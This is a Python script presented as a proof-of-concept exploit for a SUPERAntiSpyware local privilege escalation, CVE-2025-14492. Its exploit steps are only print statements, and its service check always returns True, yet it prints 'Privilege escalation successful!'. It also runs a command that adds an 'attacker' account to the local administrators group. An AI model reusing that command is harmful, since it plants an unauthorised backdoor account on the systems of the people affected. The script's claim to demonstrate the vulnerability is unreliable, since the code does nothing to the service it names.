CVE-2025-14492

# CVE-2025-14492 PoC - SUPERAntiSpyware Local Privilege Escalation # This is a conceptual PoC demonstrating the attack vector # Note: This is for educational purposes only import ctypes import os import sys import time # Define Windows API structures class SECURITY_ATTRIBUTES(ctypes.Structure): _fields_ = [("nLength", ctypes.c_int), ("lpSecurityDescriptor", ctypes.c_void_p), ("bInheritHandle", ctypes.c_bool)] # Service name for SUPERAntiSpyware Core Service SERVICE_NAME = "SAS Core Service" def check_service_status(): """Check if SAS Core Service is running""" print("[*] Checking SAS Core Service status...") # In real attack, this would use Windows Service Control Manager API # sc query "SAS Core Service" or similar return True def exploit_vulnerability(): """Exploit the exposed dangerous function vulnerability""" print("[*] Attempting to exploit CVE-2025-14492...") # Step 1: Connect to the vulnerable service print("[+] Step 1: Connecting to SAS Core Service...") # Step 2: Identify exposed dangerous function print("[+] Step 2: Identifying exposed dangerous function...") # Step 3: Trigger the dangerous function with malicious parameters print("[+] Step 3: Triggering dangerous function...") # Step 4: Execute code with SYSTEM privileges print("[+] Step 4: Executing payload with SYSTEM privileges...") # Create a new administrator user or execute shell os.system("net user attacker P@ssw0rd /add && net localgroup administrators attacker /add") print("[+] Privilege escalation successful!") return True def main(): print("=" * 60) print("CVE-2025-14492 PoC - SUPERAntiSpyware LPE") print("=" * 60) # Verify we're running with low privileges print(f"[*] Current user: {os.getlogin()}") print(f"[*] Current PID: {os.getpid()}") # Check if service is available if not check_service_status(): print("[-] SAS Core Service not found or not running") return False # Attempt exploitation if exploit_vulnerability(): print("[+] Exploitation completed successfully") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": main()

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